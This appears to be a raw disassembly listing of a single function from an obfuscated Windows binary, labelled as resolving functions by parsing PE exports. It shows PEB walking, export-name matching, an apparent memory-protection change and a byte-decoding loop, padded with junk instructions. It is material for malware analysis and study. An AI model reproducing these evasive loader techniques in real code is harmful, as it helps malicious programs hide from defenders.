Function at 0x407141
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19ac], edx
mov dword [ebp - 0x77c], 0
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x407392
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x4071f6
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4072a8
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x4072a8
push ecx
call 0x407231
add byte [eax + 0x3c], al
dec edx
inc ecx
aas
inc ecx
dec esi
add esp, 4
add ecx, 0x104ba
or ecx, 0x178c8
pop ecx
push ecx
or ecx, 0x6711
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x81a1
pop ecx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x40729a
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x4072a1
jmp 0x4071e7
jmp 0x4072a8
push edx
or edx, 0xea2f
xor edx, 0x10c30
jmp 0x4072bc
pop edx
push edi
xor edi, 0xfdaf
xor edi, 0x8abe
jmp 0x4072d3
xor edi, 0x13012
pop edi
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x407307
mov dword [ebp - 0xcd4], 0
jmp 0x407376
push edi
or edi, 0x150ca
add edi, 0xa9be
add edi, 0x17698
and edi, 0x2a30
pop edi
push ecx
push ebx
add esp, 4
xor ecx, 0x1611d
add ecx, 0x17794
xor ecx, 0x7f63
pop ecx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x40736c
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x407376
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x40738d
mov edx, dword [ebp - 0x19b0]
mov dword [ebp - 0x3f8], edx
jmp 0x40739e
jmp 0x407177
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x407479
push edx
push edx
add esp, 4
or edx, 0x939e
pop edx
push ecx
push ecx
add esp, 4
xor ecx, 0x6083
xor ecx, 0xfe94
pop ecx
push edx
jmp 0x4073d0
and edx, 0xc321
sub edx, 0x11fdb
pop edx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x19b4], ecx
push esi
sub esi, 0xbfe2
sub esi, 0xe1ec
pop esi
push esi
xor esi, 0x644d
jmp 0x407406
pop esi
push edi
xor edi, 0xb283
pop edi
push ebx
push esi
add esp, 4
jmp 0x40741a
pop ebx
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
call dword [ebp - 0x19b8]
test eax, eax
jne 0x407479
push ebx
call 0x407449
add byte [edx + ecx*2 + 0x4d], al
dec ebx
aaa
dec edx
inc ebp
dec eax
aaa
inc edi
add esp, 4
pop ebx
push ebx
jmp 0x407457
add ebx, 0x1ac1
sub ebx, 0x48b1
or ebx, 0xeec4
pop ebx
mov dword [ebp - 0xab4], 0
jmp 0x407b64
push edi
push esi
add esp, 4
and edi, 0x1068
add edi, 0xc078
pop edi
push ecx
push edx
add esp, 4
xor ecx, 0x15b3d
sub ecx, 0x5ad7
add ecx, 0xd483
pop ecx
push edx
or edx, 0xf17b
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push ecx
push ebx
add esp, 4
and ecx, 0x88e
pop ecx
push edi
and edi, 0x7312
pop edi
push esi
push esi
add esp, 4
sub esi, 0x3ebb
sub esi, 0x590b
or esi, 0x131de
or esi, 0x3c59
pop esi
cmp dword [ebp - 0x167c], 0
jne 0x40751d
mov dword [ebp - 0x2fc], 0
jmp 0x4077c4
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push eax
xor eax, 0xcb51
add eax, 0xbc75
add eax, 0x99b7
xor eax, 0x13ad6
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0x13f8b
sub ecx, 0xa40c
or ecx, 0x1190
pop ecx
cmp dword [ebp - 0xce0], 0
jne 0x407579
mov dword [ebp - 0x2fc], 0
jmp 0x4077c4
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push eax
push ecx
add esp, 4
and eax, 0x17ea1
pop eax
push eax
push esi
add esp, 4
call 0x4075a5
add byte [esi], bh
dec edx
cmp al, 0x3e
dec esi
push eax
cmp al, 0x83
les eax, [eax + ebx*2]
push ebx
jmp 0x4075b1
jmp 0x4075b6
pop ebx
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
call 0x4075ee
add byte [esi], bh
aaa
inc ebp
dec ecx
push eax
dec ebx
add esp, 4
sub eax, 0x7c07
pop eax
push ebx
push ecx
add esp, 4
add ebx, 0x5793
or ebx, 0xf98b
jmp 0x407612
pop ebx
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push ebx
push ecx
add esp, 4
add ebx, 0x2dd8
sub ebx, 0x5bec
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x48d8
pop edi
push edi
or edi, 0x1520a
and edi, 0xc899
sub edi, 0x123ab
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4076b9
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x1684], edx
jmp 0x407713
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x4075e1
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x4075e1
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4076fd
mov dword [ebp - 0x1680], 0xffffffff
jmp 0x407707
mov dword [ebp - 0x1680], 1
mov ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x1684], ecx
cmp dword [ebp - 0x1684], 0
jne 0x40775c
push edi
xor edi, 0x14936
and edi, 0x785b
add edi, 0x2c9
sub edi, 0xe062
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0x209a
pop ecx
push esi
push esi
add esp, 4
add esi, 0xdb1d
pop esi
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x2fc], edx
jmp 0x4077c4
push eax
push edx
add esp, 4
sub eax, 0xd3c0
sub eax, 0x7d41
and eax, 0x16e29
pop eax
push edx
sub edx, 0x76a1
and edx, 0x4a16
and edx, 0xc140
xor edx, 0x17d35
pop edx
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x4077ba
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x407585
mov dword [ebp - 0x2fc], 0
push ebx
push esi
add esp, 4
jmp 0x4077ce
or ebx, 0x10714
and ebx, 0x1783a
pop ebx
push esi
and esi, 0x119d0
add esi, 0x10176
jmp 0x4077ef
or esi, 0xfdb9
pop esi
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push ebx
push esi
add esp, 4
or ebx, 0xa4ae
and ebx, 0x7807
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0x562f
pop ebx
push esi
sub esi, 0x2549
or esi, 0x22f
and esi, 0x13cb1
pop esi
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x407867
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x407b58
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x40788f
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x407b58
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x4078c1
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x407b58
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x4078e6
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x407b58
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x78c], 0
jmp 0x407940
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x407b4c
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x4079b0
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407a62
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x407a62
push esi
call 0x4079ee
add byte [esi + 0x48], cl
xor eax, 0x42344b45
dec eax
dec edx
aaa
add esp, 4
and esi, 0x121fa
or esi, 0x42d3
call 0x407a0b
add byte [ecx], bh
aas
dec esi
dec esi
dec edi
dec edx
push eax
aaa
add esp, 4
pop esi
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x407a54
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x407a5b
jmp 0x4079a1
jmp 0x407a62
push edx
push edi
add esp, 4
xor edx, 0x15580
or edx, 0x3652
and edx, 0x1839c
pop edx
push ecx
and ecx, 0x13ca0
or ecx, 0x685a
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x645d
pop edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x407ac1
mov dword [ebp - 0xce4], 0
jmp 0x407b30
push edx
or edx, 0x120d0
call 0x407ad8
add byte [edx + 0x4c], cl
cmp dword [ebp + 0x3b], eax
inc edi
dec esi
inc eax
inc edx
inc esi
add esp, 4
call 0x407ae9
add byte [eax + 0x4b], dl
cmp byte ds:[edx + 0x3a], cl
aas
add esp, 4
xor edx, 0x1410
pop edx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x407b26
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x407b30
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x407b47
mov edx, dword [ebp - 0x19d0]
mov dword [ebp - 0x520], edx
jmp 0x407b58
jmp 0x407931
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push ecx
push edx
add esp, 4
xor ecx, 0x11f1b
pop ecx
push esi
push ecx
add esp, 4
and esi, 0x8203
jmp 0x407b83
pop esi
push edi
push eax
add esp, 4
jmp 0x407b8f
and edi, 0xef59
pop edi
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19d4], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x19d4]
test eax, eax
jne 0x407c09
push edx
add edx, 0xc0e8
sub edx, 0x2234
add edx, 0xb20c
pop edx
push edi
push ebx
add esp, 4
add edi, 0x9a92
or edi, 0xee00
pop edi
push esi
push edi
add esp, 4
add esi, 0x13202
pop esi
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d8], eax
push 0
call dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x798], ecx
jmp 0x407c26
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x407c82
push esi
xor esi, 0x13fe4
xor esi, 0x214f
and esi, 0xc8af
pop esi
push ebx
push eax
add esp, 4
and ebx, 0x6db1
or ebx, 0x12fa2
and ebx, 0x14eed
sub ebx, 0xa745
pop ebx
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x407c17
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x19e0]
test eax, eax
jne 0x407cfa
push edx
call 0x407cc1
add byte [edx + 0x4b], cl
dec esp
cmp edi, dword [ebx]
add esp, 4
and edx, 0x16e51
add edx, 0xb0
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0x15f1f
pop ebx
push esi
jmp 0x407ce5
pop esi
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e4], ecx
push 0
call dword [ebp - 0x19e4]
push edx
push eax
add esp, 4
and edx, 0x16667
pop edx
push edi
push ecx
add esp, 4
call 0x407d1a
add byte [esi], dh
push eax
inc ebp
dec edi
dec eax
inc ebp
inc ebp
dec esi
inc esp
add esp, 4
and edi, 0xe3f4
pop edi
push edi
add edi, 0xec9a
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
pop eax
adc al, 0xd1
pop edi
add dword [ecx], eax
adc al, 0xbc
xchg byte [edx], al
add esp, ebp
add al, 0x46
cmp dword [ecx - 0x7e], edx
clc
cmp dword [esi], esp
add al, byte [ecx]
pushal
push edi
pop eax
test ch, al
add eax, 0xb036c782
add dword [ecx], eax
and bh, 0x49
inc ebp
add al, byte [ecx]
in al, dx
push es
push eax
xor al, 0x50
cmp edi, dword [esi]
pop edi
mov dword [esi + 0xefb5], 0xb686c748
out dx, eax
add byte [eax], al
mov word [esi + 0xefb7], 0xc775
xchg byte [eax + 0x4e0000ef], bh
mov dword [esi + 0xefb9], 0xba86c770
out dx, eax
add byte [eax], al
mov dword gs:[esi + 0xefbb], 0xbc86c776
out dx, eax
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xefbd], 0xbe86c766
out dx, eax
add byte [eax], al
dec ecx
mov dword [esi + 0xefbf], 0xc086c762
out dx, eax
add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xefc1], 0xc286c765
out dx, eax
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xefc3], 0xc486c766
out dx, eax
add byte [eax], al
pop eax
mov dword [esi + 0xefc5], 0x8ec5301
inc edx
cmp eax, 0x46393544
dec ebx
jmp 0x1417efe